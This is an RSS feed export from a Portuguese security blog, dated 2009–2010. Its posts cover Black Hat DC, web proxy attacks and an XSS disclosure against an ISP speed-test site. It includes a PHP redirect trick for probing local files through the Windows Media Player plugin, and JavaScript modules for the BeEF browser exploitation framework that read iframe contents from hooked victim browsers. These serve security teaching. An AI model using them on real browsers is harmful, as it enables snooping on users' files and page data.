<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Falando de Segurança</title>
	<atom:link href="http://www.falandodeseguranca.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.falandodeseguranca.com</link>
	<description>Por Gabriel Lima</description>
	<lastBuildDate>Mon, 05 Jul 2010 17:14:49 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Video #1 &#8211; WebProxy</title>
		<link>http://www.falandodeseguranca.com/2010/06/video-1-webproxy/</link>
		<comments>http://www.falandodeseguranca.com/2010/06/video-1-webproxy/#comments</comments>
		<pubDate>Mon, 28 Jun 2010 05:01:42 +0000</pubDate>
		<dc:creator>Gabriel Lima</dc:creator>
				<category><![CDATA[Outros]]></category>

		<guid isPermaLink="false">http://www.falandodeseguranca.com/?p=317</guid>
		<description><![CDATA[Olha aí, o Falando de Segurança de volta! É verdade, sim, que estou quase 1 ano sem postar conteúdo por aqui. O problema, somado ao fato deste ano estar pra lá de agitado, é que não havia definido até então um &#8220;padrão&#8221; de postagem que me agradasse. Confesso que desde que iniciei o blog, meu [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: left; margin-right: 5px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.falandodeseguranca.com%2F2010%2F06%2Fvideo-1-webproxy%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.falandodeseguranca.com%2F2010%2F06%2Fvideo-1-webproxy%2F&amp;source=gabrielpato&amp;style=compact" height="61" width="50" /><br />
			</a>
		</div>
<p><a href="http://www.falandodeseguranca.com/2010/06/video-1-webproxy/"><img class="size-full wp-image-318 alignnone" title="Video 1" src="http://www.falandodeseguranca.com/wp-content/uploads/2010/06/banner-webproxy.jpg" alt="" width="461" height="94" /></a></p>
<p>Olha aí, o <strong>Falando de Segurança</strong> de volta! É verdade, sim, que estou quase 1 ano sem postar conteúdo por aqui. O problema, somado ao fato deste ano estar pra lá de agitado, é que não havia definido até então um &#8220;padrão&#8221; de postagem que me agradasse. Confesso que desde que iniciei o blog, meu objetivo real é expor idéias, técnicas, notícias, cenários, etc, sobre segurança da informação, de forma diferenciada. Aí então a ideia de um &#8220;Videolog&#8221;, até porque, os posts com screencast anteriores sempre tiveram feedbacks positivos. Foi acrescentar algumas idéias, uma câmera em mãos e eis então a nova fórmula de postagens do site. Ainda é um piloto e espero poder, com a ajuda do feedback de vocês, fazer um trabalho bem bacana por aqui.</p>
<p>Quanto ao vídeo, neste primeiro falo sobre dois de inúmeros possíveis ataques em cenários de WebProxys (também conhecida por aí como cgiproxy). No caso do vídeo, demonstrei usando o Kproxy (www.kproxy.com) e o HideMyAss (www.hidemyass.com) . Confira:</p>
<p><span id="more-317"></span></p>
<p><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="640" height="360" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowfullscreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="src" value="http://vimeo.com/moogaloop.swf?clip_id=12895785&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=0&amp;color=&amp;fullscreen=1" /><embed type="application/x-shockwave-flash" width="640" height="360" src="http://vimeo.com/moogaloop.swf?clip_id=12895785&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=0&amp;color=&amp;fullscreen=1" allowscriptaccess="always" allowfullscreen="true"></embed></object></p>
<p>Comentários são mais que bem vindos.</p>
<p>Até o próximo video post!</p>
<p>Abraços,</p>
<p>Gabriel.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.falandodeseguranca.com/2010/06/video-1-webproxy/feed/</wfw:commentRss>
		<slash:comments>15</slash:comments>
		</item>
		<item>
		<title>Meus (video)comentários sobre a BlackHat DC 2010</title>
		<link>http://www.falandodeseguranca.com/2010/02/meus-videocomentarios-sobre-a-blackhat-dc-2010/</link>
		<comments>http://www.falandodeseguranca.com/2010/02/meus-videocomentarios-sobre-a-blackhat-dc-2010/#comments</comments>
		<pubDate>Mon, 08 Feb 2010 22:19:04 +0000</pubDate>
		<dc:creator>Gabriel Lima</dc:creator>
				<category><![CDATA[Outros]]></category>
		<category><![CDATA[Blackhat]]></category>
		<category><![CDATA[comentarios]]></category>
		<category><![CDATA[video]]></category>

		<guid isPermaLink="false">http://www.falandodeseguranca.com/?p=295</guid>
		<description><![CDATA[Mil perdões pela demora. Mas aí está o vídeo com meus comentários sobre a BlackHat DC 2010, onde falo um pouco sobre a organização do evento e comento palestra por palestra que tive a oportunidade de ver. Fotos em breve!]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: left; margin-right: 5px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.falandodeseguranca.com%2F2010%2F02%2Fmeus-videocomentarios-sobre-a-blackhat-dc-2010%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.falandodeseguranca.com%2F2010%2F02%2Fmeus-videocomentarios-sobre-a-blackhat-dc-2010%2F&amp;source=gabrielpato&amp;style=compact" height="61" width="50" /><br />
			</a>
		</div>
<p><a rel="attachment wp-att-285" href="http://www.falandodeseguranca.com/?attachment_id=285"><img class="aligncenter size-full wp-image-285" title="blackhat" src="http://www.falandodeseguranca.com/wp-content/uploads/2010/01/blackhat.png" alt="" width="500" height="80" /></a></p>
<p>Mil perdões pela demora. Mas aí está o vídeo com meus comentários sobre a BlackHat DC 2010, onde falo um pouco sobre a organização do evento e comento palestra por palestra que tive a oportunidade de ver. Fotos em breve!<br />
<span id="more-295"></span></p>
<p><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="480" height="390" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="src" value="http://blip.tv/play/AYHD7A4C" /><param name="allowfullscreen" value="true" /><embed type="application/x-shockwave-flash" width="480" height="390" src="http://blip.tv/play/AYHD7A4C" allowfullscreen="true"></embed></object></p>
]]></content:encoded>
			<wfw:commentRss>http://www.falandodeseguranca.com/2010/02/meus-videocomentarios-sobre-a-blackhat-dc-2010/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Blackhat DC 2010: Acompanhe no FalandoDeSegurança!</title>
		<link>http://www.falandodeseguranca.com/2010/01/blackhat-dc-2010-acompanh-no-falandodeseguranca/</link>
		<comments>http://www.falandodeseguranca.com/2010/01/blackhat-dc-2010-acompanh-no-falandodeseguranca/#comments</comments>
		<pubDate>Wed, 20 Jan 2010 19:13:42 +0000</pubDate>
		<dc:creator>Gabriel Lima</dc:creator>
				<category><![CDATA[Outros]]></category>
		<category><![CDATA[Blackhat]]></category>

		<guid isPermaLink="false">http://www.falandodeseguranca.com/?p=278</guid>
		<description><![CDATA[O hotel Hyatt Regency Crystal City (Arlington, Virginia, EUA) será, mais uma vez, palco da BlackHat DC, o principal evento da area de segurança da informação, que reune pesquisadores de todo o mundo. Serão dias de treinamentos e palestras que divulgarão o resultado de trabalhos de pesquisas, exibindo novas técnicas, vulnerabilidades e discutindo segurança em [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: left; margin-right: 5px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.falandodeseguranca.com%2F2010%2F01%2Fblackhat-dc-2010-acompanh-no-falandodeseguranca%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.falandodeseguranca.com%2F2010%2F01%2Fblackhat-dc-2010-acompanh-no-falandodeseguranca%2F&amp;source=gabrielpato&amp;style=compact" height="61" width="50" /><br />
			</a>
		</div>
<p><img class="aligncenter" title="Blackhat" src="http://www.blackhat.com/images/BHDC2010-banner.png" alt="" width="500" height="80" /></p>
<p>O hotel <a href="http://www.crystalcity.hyatt.com/hyatt/hotels/index.jsp">Hyatt Regency Crystal City</a> (Arlington, Virginia, EUA) será, mais uma vez, palco da <a href="http://www.blackhat.com"><strong>BlackHat DC,</strong></a> o principal evento da area de segurança da informação, que reune pesquisadores de todo o mundo. Serão dias de treinamentos e palestras que divulgarão o resultado de trabalhos de pesquisas, exibindo novas técnicas, vulnerabilidades e discutindo segurança em diversos pontos de vista. Durante os dias 31 de janeiro e 1 de fevereiro, acontecerão <a href="http://www.blackhat.com/html/bh-dc-10/training/bh-dc-10-training_complete.html">treinamentos diversos</a> e finalmente, nos dias 2 e 3 de fevereiro, as <a href="http://www.blackhat.com/html/bh-dc-10/bh-dc-10-briefings.html">palestras</a>.</p>
<p>Infelizmente, não há edições do evento realizadas no Brasil, e, por tanto, além de termos de arcar com os pesados custos de viagem para vermos tudo de perto, há também o salgado valor de entrada. A super-antecipada (antes de divulgarem os temas das palestras), ficou em torno de $1100 dollars. &#8220;Facada&#8221; ou não, nós, profissionais da segurança, sempre estaremos de olho nas edições da Blackhat. Não tenho dúvidas de que a qualidade do evento será recompensante.</p>
<p>Os <a href="http://www.blackhat.com/html/bh-dc-10/bh-dc-10-schedule.html">horários das palestras já estão disponíveis no site do evento</a>. A curiosidade é que, no segundo dia, haverá uma série de palestras abordando assuntos relacionados ao <strong><a href="http://www.metasploit.com/">Metasploit</a></strong> e sendo finalizado por uma palestra do grande <a href="http://twitter.com/hdmoore">HD Moore</a> (criador do projeto), comentando toda a evolução do mesmo e sobre a aquisição do Metasploit pela <strong><a href="http://www.rapid7.com/">Rapid7</a>.</strong></p>
<p>Eu (Gabriel), estarei lá para conferir. A cada palestra enviarei meus comentários no blog, fazendo um resumo do dia pela noite. Este resumo também estará disponível no site <strong><a href="http://www.oxenti.com">Oxenti.com</a></strong> . Ao término do evento, postarei vídeos e fotos capturadas. Também estarei twittando de lá, desde os perdidos momentos em aeroportos até durante as grandes palestras, pelo <a href="http://www.twitter.com/gabrielpato"><strong>@gabrielpato</strong></a> . Viajo no dia 31 de janeiro, à noite, chegando lá no início da tarde do dia 1 de fevereiro, e meu retorno será no dia 4 de fevereiro, pelo final da tarde, chegando na manhã do dia 5.</p>
<p>Em breve divulgarei qual das palestras irei, visto que, infelizmente, acontecem 3 simultaneamente.<br />
Por enquanto é só. Se for à Blackhat, avise nos comentários que marcaremos algo por lá!</p>
<p>Fique ligado  ; )</p>
]]></content:encoded>
			<wfw:commentRss>http://www.falandodeseguranca.com/2010/01/blackhat-dc-2010-acompanh-no-falandodeseguranca/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Site de teste da Ajato (TVA) revela informações do usuário</title>
		<link>http://www.falandodeseguranca.com/2009/12/site-de-teste-da-ajato-tva-revela-informacoes-do-usuario/</link>
		<comments>http://www.falandodeseguranca.com/2009/12/site-de-teste-da-ajato-tva-revela-informacoes-do-usuario/#comments</comments>
		<pubDate>Thu, 03 Dec 2009 06:20:43 +0000</pubDate>
		<dc:creator>Gabriel Lima</dc:creator>
				<category><![CDATA[Segurança em Aplicações Web]]></category>
		<category><![CDATA[ajato]]></category>

		<guid isPermaLink="false">http://www.falandodeseguranca.com/?p=273</guid>
		<description><![CDATA[Um &#8220;cross-site scripting&#8221; e uma série de informações desnecessárias sendo exibidas ao usuário.  Esses foram os dois fatores necessários que fizeram do site de Teste de Velocidade da provedora Ajato\TVA (http://testevelocidade.ajato.com.br), uma ameaça a seus próprios usuários.  Em forma de video-post, mostrei que de forma muito simples, é possível extrair informações como o IP interno [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: left; margin-right: 5px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.falandodeseguranca.com%2F2009%2F12%2Fsite-de-teste-da-ajato-tva-revela-informacoes-do-usuario%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.falandodeseguranca.com%2F2009%2F12%2Fsite-de-teste-da-ajato-tva-revela-informacoes-do-usuario%2F&amp;source=gabrielpato&amp;style=compact" height="61" width="50" /><br />
			</a>
		</div>
<p><img class="alignleft size-full wp-image-274" title="ajato" src="http://www.falandodeseguranca.com/wp-content/uploads/2009/12/ajato.jpg" alt="ajato" width="169" height="126" /> Um &#8220;cross-site scripting&#8221; e uma série de informações desnecessárias sendo exibidas ao usuário.  Esses foram os dois fatores necessários que fizeram do site de Teste de Velocidade da provedora Ajato\TVA (<a href="http://testevelocidade.ajato.com.br" target="_blank">http://testevelocidade.ajato.com.br</a>), uma ameaça a seus próprios usuários.  Em forma de video-post, mostrei que de forma <strong>muito simples</strong>, é possível extrair informações como o IP interno e MAC do modem, velocidade do plano de internet e nível de sinal, com pouquissimas linhas de código e sem exigir qualquer interação da vítima, graças ao script do teste de velocidade da Ajato, que expõe sem a menor necessidade tais informações. Confesso que quando as vi pela primeira vez, custei a acreditar.</p>
<p>Se quiser ir direto ao site da prova de conceito (PoC), veja <a href="http://www.falandodeseguranca.com/exemplo/ajato.html" target="_blank"><strong>clicando aqui</strong></a> (Obviamente, apenas para usuários Ajato).</p>
<p><center>															<object type="application/x-shockwave-flash" data="http://blip.tv/scripts/flash/showplayer.swf?enablejs=true&#038;file=http%3A//blip.tv/rss/flash/2934353&#038;feedurl=http%3A//falandodeseguranca.blip.tv/rss/&#038;autostart=false&#038;brandname=falandodeseguranca&#038;brandlink=http%3A//falandodeseguranca.blip.tv/" width="800" height="600" allowfullscreen="true" id="showplayer"><param name="movie" value="http://blip.tv/scripts/flash/showplayer.swf?enablejs=true&#038;file=http%3A//blip.tv/rss/flash/2934353&#038;feedurl=http%3A//falandodeseguranca.blip.tv/rss/&#038;autostart=false&#038;brandname=falandodeseguranca&#038;brandlink=http%3A//falandodeseguranca.blip.tv/" /><param name="quality" value="best" /></object>										</center></p>
<p>Dê seu Feedback via comentários ou tweets! Colabore com a divulgação clicando no botão de RT <img src='http://www.falandodeseguranca.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p>Qualquer dúvida, é só gritar.</p>
<p>Até a próxima, pessoal!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.falandodeseguranca.com/2009/12/site-de-teste-da-ajato-tva-revela-informacoes-do-usuario/feed/</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
		<item>
		<title>Plugin do Media Player expõe existência de arquivos.</title>
		<link>http://www.falandodeseguranca.com/2009/11/plugin-do-media-player-expoe-existencia-de-arquivos/</link>
		<comments>http://www.falandodeseguranca.com/2009/11/plugin-do-media-player-expoe-existencia-de-arquivos/#comments</comments>
		<pubDate>Tue, 10 Nov 2009 22:40:37 +0000</pubDate>
		<dc:creator>Gabriel Lima</dc:creator>
				<category><![CDATA[Navegadores]]></category>
		<category><![CDATA[media player]]></category>

		<guid isPermaLink="false">http://www.falandodeseguranca.com/?p=263</guid>
		<description><![CDATA[Por alguns anos, trabalhei com streaming de áudio e vídeo. Um software que fez parte constante de meu trabalho foi o Windows Media Player. Não posso negar, seu plugin (objeto) para browsers traz uma série de recursos que muitos desconhecem.  Com a excelente documentação disponível na MSDN em mãos, você poderá criar um player dinâmico, [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: left; margin-right: 5px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.falandodeseguranca.com%2F2009%2F11%2Fplugin-do-media-player-expoe-existencia-de-arquivos%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.falandodeseguranca.com%2F2009%2F11%2Fplugin-do-media-player-expoe-existencia-de-arquivos%2F&amp;source=gabrielpato&amp;style=compact" height="61" width="50" /><br />
			</a>
		</div>
<p><img class="alignleft size-full wp-image-265" src="http://www.falandodeseguranca.com/wp-content/uploads/2009/11/Windows-media-player_128.png" width="114" height="114" /> Por alguns anos, trabalhei com streaming de áudio e vídeo. Um software que fez parte constante de meu trabalho foi o <strong>Windows Media Player</strong>. Não posso negar, seu plugin (objeto) para browsers traz uma série de recursos que muitos desconhecem.  Com a <a href="http://msdn.microsoft.com/en-us/library/dd563945%28VS.85%29.aspx" target="_blank">excelente documentação disponível na MSDN</a> em mãos, você poderá criar um player dinâmico, tratando playlists, enviando erros durante o streaming ao servidor, anotando banda usada, pacotes perdidos, etc, tudo por JavaScript.</p>
<p>Claro que nem tudo é belo e devo parar meus elogios por aqui. Vocês bem sabem: Mais recursos, mais lugares para uma falha aparecer. E é, apareceu.</p>
<p>Esqueça a principal função de um player. Deixemos pra lá as mp3s ou vídeos que ele deveria tocar. Vamos unir tudo aquilo que o plugin nos oferece e então, no post de hoje, veremos<strong> como detectar de arquivos locais do computador do usuário</strong> <strong>usando o objeto do Windows Media Player para navegadores</strong>.</p>
<p>Quando solicitamos ao player embutido no navegador que conecte-se à determinada URL ou arquivo local, uma série de ações ocorrem. O WMP, precisa, por exemplo, conectar-se à url, receber uma playlist, enviar o request pela mídia a ser executada, etc.</p>
<p>Cada etapa do carregamento da mídia pode ser obtida pela propriedade <em>player.</em><strong>openState</strong>, que retorna o ID correspondente a ação atual, e a cada mudança de etapa o evento <em>player</em><strong><em>.</em>OpenStateChange </strong>é acionado. Não há nenhuma relação entre os IDs e um mesmo evento pode ser chamado mais de uma vez durante o processo.</p>
<p>Aí então, fica bem simples entender a mágica do funcionamento da detecção. O player terá estados diferentes ao encontrar ou não o arquivo, e, monitorando as mudanças, teremos a informação que desejamos.</p>
<p>O único problema é que o WMP abrirá apenas arquivos que possa interpretar, como mp3, wmv, avi, etc, e, certamente, queremos ter a liberdade de detectar todas as demais extenções.</p>
<p>Quando pedimos para abrir um arquivo que ele não reconheça como mídia, ele perguntará ao usuário se deseja continuar, avisando, ainda, a extenção solicitada. Isso mandaria pro saco nossa detecção, não é mesmo?</p>
<p>É aí que o autor do blog <strong>lrv.ch.vu</strong> <span style="color: #888888;">(..que nome, hein?)</span> fez uma descoberta que faz ignorar esta pergunta: Ele percebeu que quando executamos no player uma url HTTP que retorne um redirecionamento para o endereço que queremos testar (como <strong>file://boot.ini,</strong> por exemplo), o player irá continuar normalmente, sem pedir qualquer interação.</p>
<p>Infelizmente, o post no blog citado não oferece muitos detalhes. Ele não diz, por exemplo, qual o tipo de redirecionamento (301 ou 302) é necessário, e, pra completar, sua página de exemplo, que usa formulários php e jquery, não teve detalhes exibidos. A didática foi pro saco.</p>
<p>Como já estava com a mão na massa e já havia programado alguns testes, resolvi seguir a dica do redirecionamento e dar sequencia. O gringo lá tinha razão. O redirecionamento HTTP &#8220;<strong>302</strong>&#8221; (Moved Temporarily) faz o player seguir o caminho sugerido e continuar a execução. Já com o código 301 não tive sucesso.</p>
<p>Já com o redirecionamento feito e a mudança de estado sendo monitorada pelo evento openStateChange, veja, abaixo, como a detecção é feita:</p>
<p>Eventos que ocorrem ao carregar<strong> </strong>um arquivo inexistente pelo redirecionamento:<strong> file://teste.exe<br />
</strong></p>
<p>ESTADO: <strong>21</strong><br />
ESTADO:<strong> 6</strong><br />
ESTADO: <strong>6</strong><br />
ESTADO: <strong>6</strong></p>
<p>Eventos que ocorrem ao carregar<strong> </strong>um arquivo existente pelo redirecionamento:<strong> file://boot.ini </strong></p>
<p>ESTADO: <strong>21 &#8211; </strong>Opening a URL with an unknown type.<br />
ESTADO:<strong> 6</strong> &#8211; Playlist is open.<br />
ESTADO: <span style="color: #ff0000;"><strong>8</strong></span> <span style="color: #ff0000;">- A new media item is about to be loaded.</span><br />
ESTADO: <strong>6</strong> &#8211; Playlist is open.<br />
ESTADO: <strong>6 &#8211; </strong>Playlist is open.</p>
<p>Opa! Olha lá! O openState 8 só ocorre quando o arquivo existe. Temos em mãos o poder de verificar a existência de arquivos locais!</p>
<p>Programei um scanner que, rapidinho, pode verificar uma lista de arquivos e dizer quais existem. O código está limpo e você pode ficar a vontade para ler e aprender. Abaixo, segue o código do arquivo wmp.php chamado, que cria o redirecionamento necessário para a verificação:</p>
<pre name="code" class="php">
&lt;?php
header("HTTP/1.1 302 Moved Temporarily");
header("Location: file:///".$_GET['arquivo']);
?&gt;
</pre>
<p><strong><a href="http://www.falandodeseguranca.com/exemplo/wmp.html" target="_blank">Entre já na página de testes que criei, clique aqui!</a></strong> <em>(Internet Explorer, apenas)</em><br />
Caso queira ver todos os possíveis IDs do openState e suas respectivas descrições, <a href="http://msdn.microsoft.com/en-us/library/dd564037%28VS.85%29.aspx" target="_blank">veja este link da MSDN.</a></p>
<p>Por hoje é só. Se você conferir os posts anteriores, de como criar módulos para BeEF, perceberá que facilmente você pode migrar essa detecção de arquivos locais para um módulo.</p>
<p>Feedbacks são SEMPRE bem vindos. Comente!</p>
<p>Até a próxima!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.falandodeseguranca.com/2009/11/plugin-do-media-player-expoe-existencia-de-arquivos/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>BeEF: Como programar Módulos (pt 2) &#8211; Módulo &#8220;Iframe Tools&#8221;</title>
		<link>http://www.falandodeseguranca.com/2009/10/beef-como-programar-modulos-pt-2-modulo-iframe-tools/</link>
		<comments>http://www.falandodeseguranca.com/2009/10/beef-como-programar-modulos-pt-2-modulo-iframe-tools/#comments</comments>
		<pubDate>Fri, 23 Oct 2009 05:25:30 +0000</pubDate>
		<dc:creator>Gabriel Lima</dc:creator>
				<category><![CDATA[Desenvolvimento, Frameworks, etc]]></category>
		<category><![CDATA[Segurança em Aplicações Web]]></category>
		<category><![CDATA[beef]]></category>
		<category><![CDATA[módulo]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://www.falandodeseguranca.com/?p=249</guid>
		<description><![CDATA[Continuarei, hoje, a mostrar o quão simples pode ser criar um módulo para o Browser Exploitation Framework, ou BeEF. Se você pegou o bonde andando e perdeu toda a apresentação e a primeira parte de construção de módulos, corra para lá, pois o conteúdo de hoje não passa de um complemento. Nossa tarefa será aumentar [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: left; margin-right: 5px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.falandodeseguranca.com%2F2009%2F10%2Fbeef-como-programar-modulos-pt-2-modulo-iframe-tools%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.falandodeseguranca.com%2F2009%2F10%2Fbeef-como-programar-modulos-pt-2-modulo-iframe-tools%2F&amp;source=gabrielpato&amp;style=compact" height="61" width="50" /><br />
			</a>
		</div>
<p><img class="alignleft size-full wp-image-214" title="beef" src="http://www.falandodeseguranca.com/wp-content/uploads/2009/10/beef1.jpg" alt="beef" width="187" height="139" />Continuarei, hoje, a mostrar o quão simples pode ser criar um módulo para o <strong>Browser Exploitation Framework</strong>, ou <strong>BeEF</strong>. Se você pegou o bonde andando e perdeu toda a apresentação e a primeira parte de construção de módulos, <a href="http://www.falandodeseguranca.com/2009/10/beef-o-que-e-e-como-programar-modulos-pt-1/">corra para lá</a>, pois o conteúdo de hoje não passa de um complemento.</p>
<p>Nossa tarefa será <strong>aumentar a complexidade do módulo adicionando opções configuráveis. </strong> Sendo assim, ao contrário do módulo &#8220;URL Crawler&#8221;, onde bastava apertar o botão para explorar, teremos um formulário com opções que<strong> </strong>vão definir o que será processado pelo zumbie.</p>
<h3><span style="color: #ff6600;"># Módulo: &#8220;Iframe Tools&#8221;</span></h3>
<p><span style="color: #000000;"> </span>Ok, eu confesso: Minha criatividade hoje não está em um bom dia. Mas que fique claro: O que vale é passar o conteúdo. Por favor, desconsidere o nome brega.</p>
<p>Nosso módulo terá duas funções:</p>
<ul>
<li>Listar todos os iframes disponíveis na página, retornando nome e ID.</li>
<li>Caso tenha sido especificado um nome ou ID, retornar o código HTML que esta sendo exibido dentro deste iframe.</li>
</ul>
<p>Obviamente, estas funções poderiam (e, em minha opnião, deveriam) ser divididas em dois módulos. Elas estão juntas aqui para demonstrarmos como trabalhar com opções, e para que possamos aprender mais <strong>fugindo dos padrões</strong>.</p>
<h3><span style="color: #ff6600;">1# Estrutura e o Arquivo de Nome<br />
</span></h3>
<p>Conforme expliquei na parte 1, crie a pasta específica para este módulo com o nome de <strong>iframe_tools</strong> dentro do diretório de módulos da categoria que preferir. Crie, também, o arquivo <strong>name.txt</strong> contendo apenas <strong>Iframe Tools</strong> . Até aqui, nada muda .. mas só até aqui.</p>
<h3><span style="color: #ff6600;">2# O Payload (JavaScript)</span></h3>
<p>Se lembra do Código JavaScript (payload) que é enviado e executado no navegador do Zumbie? Por padrão, como expliquei, o arquivo usado chama-se <strong>template.js</strong>. Porém, isto tudo não passa de um modelo, e, desta vez faremos diferente. Para que possamos deixar o código final a ser enviado menor, criaremos um arquivo para cada uma das funções que citei.</p>
<p>Teremos então:</p>
<ul>
<li><strong>template-lista.js :</strong> Lista e retorna os iframes na página</li>
<li><strong>template-le.js : </strong>Lê o conteúdo do iframe previamente especificado.</li>
</ul>
<p>O primeiro (template-lista.js) é semelhante ao &#8220;URL Crawler&#8221;. Basta ler e retornar as informações. Não é necessário verificar configurações previamente estabelecidas, não é mesmo? Então, vamos a ele:</p>
<pre name="code" class="js">
function do_main(){
var iframes = document.getElementsByTagName("iframe");
for ( var i in iframes ) {
if(iframes[i].src) {
retorno = retorno + '\n ID: ' + i + '  SRC:' + iframes[i].src; }
}
}

var retorno = '';
do_main();
return_result(result_id, ((retorno) ? retorno : "Nenhum Iframe encontrado") );
</pre>
<p>O código é muito simples: Verifica as tags &lt;iframe&gt; que possuam um src já definido (ou seja, que já estão em uma página) e retorna ao BeEF uma relação de IDs e seus respectivos SRCs. Assim será possível definir qual iframe desejamos obter o conteúdo.</p>
<p>Falando em obter conteúdo, eis o simples  código que fará esta função. Ele ficará no arquivo<strong> template-le.js </strong> e, obviamente, <strong>requer uma informação que deve ser previamente definida</strong>: O ID do elemento Iframe que ele deve retornar o conteúdo. Para isto, devemos usar no lugar desta informação uma palavra-chave que será, depois, substituida pelo valor. Neste caso, usaremos a palavra <strong>IFRAME-ID<br />
</strong></p>
<pre name="code" class="js">
return_result(result_id, window.frames[IFRAME-ID].document.getElementsByTagName("body")[0].innerHTML);
</pre>
<p>Atenção:  As palavras que serão substituídas não são variáveis do JavaScript, e sim palavras quaisquer. <strong>Nunca</strong> use palavras que sejam de uso comúm da linguagem, ou que sejam usadas no script, caso contrário, as demais ocorrências também serão substituídas.</p>
<h3><span style="color: #ff6600;">3# A Página de controle do Módulo (index.php)</span></h3>
<p>Ao contrário do último post, que quase não alteramos este arquivo, o teremos agora como foco principal.</p>
<p>Mais do que apenas um formulário de envio, o index.php faz o preparo do código a ser enviado. É ele quem carregará o payload para o envio e fará as mudanças necessárias, como a substituição de palavras-chave por valores definidos.</p>
<p>Lembre-se de que estamos usando dois payloads em um único módulo. É aqui que faremos a verificação de qual payload deve ser usado em cada situação.</p>
<p>No início do arquivo, criamos definições para &#8220;chamarmos&#8221; nossos payloads (javascript) de forma mais amigável, além de incluir um arquivo exigido pelo BeEF.</p>
<pre name="code" class="php">
&#x3C;&#x3F;
// Copyright (c) 2006-2009, Wade Alcorn
// All Rights Reserved
// wade@bindshell.net - http://www.bindshell.net
// Módulo por: Gabriel Lima - www.falandodeseguranca.com
// gabriel(@)falandodeseguranca.com

require_once("../../../include/common.inc.php"); // included for get_b64_file()

// Criamos definições para nossos 2 arquivos de payloads javascript.
DEFINE('JS_FILE_LISTA', './template-lista.js');
DEFINE('JS_FILE_LE', './template-le.js');
&#x3F;&#x3E;
</pre>
<p>Agora trabalharemos com JavaScript. Na função get_b64_code_cb, os dois payloads serão chamados e convertidos para base64. Criaremos uma variável para cada um (b64codelista e b64codele).  No caso da leitura do conteúdo de um iframe, é necessário substituir a palavra-chave <strong>IFRAME-ID</strong> (que criamos em #2) pelo valor digitado no campo &#8220;idiframe&#8221; do form de nome &#8220;myform&#8221;. A função também define qual payload será enviado, verificando se o campo está ou não em branco.</p>
<pre name="code" class="js">
&lt;script&gt;

function get_b64_code_cb() {
// javascript is loaded from a file - it could be hard coded
var b64codelista = '&lt;? echo get_b64_file(JS_FILE_LISTA); ?&gt;';
var b64codele = '&lt;? echo get_b64_file(JS_FILE_LE); ?&gt;';

b64codele = b64replace(b64codele, "IFRAME-ID",document.myform.idiframe.value);

return ((document.myform.idiframe.value) ? b64codele : b64codelista);
}

Element.Methods.set_autorun = function() {
ar.enable('Iframe Tools', get_b64_code_cb());
}

Element.Methods.send_now = function() {
do_send(get_b64_code_cb());
}

// add construct code to DOM
Element.addMethods();

&lt;/script&gt;
</pre>
<p>Finalmente, criamos o formulário, seguindo as especificações usadas no JavaScript para que o campo seja lido.</p>
<pre name="code" class="html">
&lt;div id="module_header"&gt;Iframe Tools&lt;/div&gt;
Lista ou retorna o HTML de um Iframe.&lt;br&gt;&lt;br&gt;
&lt;div id="module_subsection"&gt;
&lt;form name="myform"&gt;
ID do Iframe: &lt;input type="text" name="idiframe" value=""/&gt; &lt;i&gt;(Em branco: Lista Iframes)&lt;/i&gt;
&lt;input type="button" value=" Set Autorun " onClick="javascript:set_autorun()"/&gt;
&lt;input type="button" value=" Send Now " onClick="javascript:send_now()"/&gt;
&lt;/form&gt;
&lt;/div&gt;
</pre>
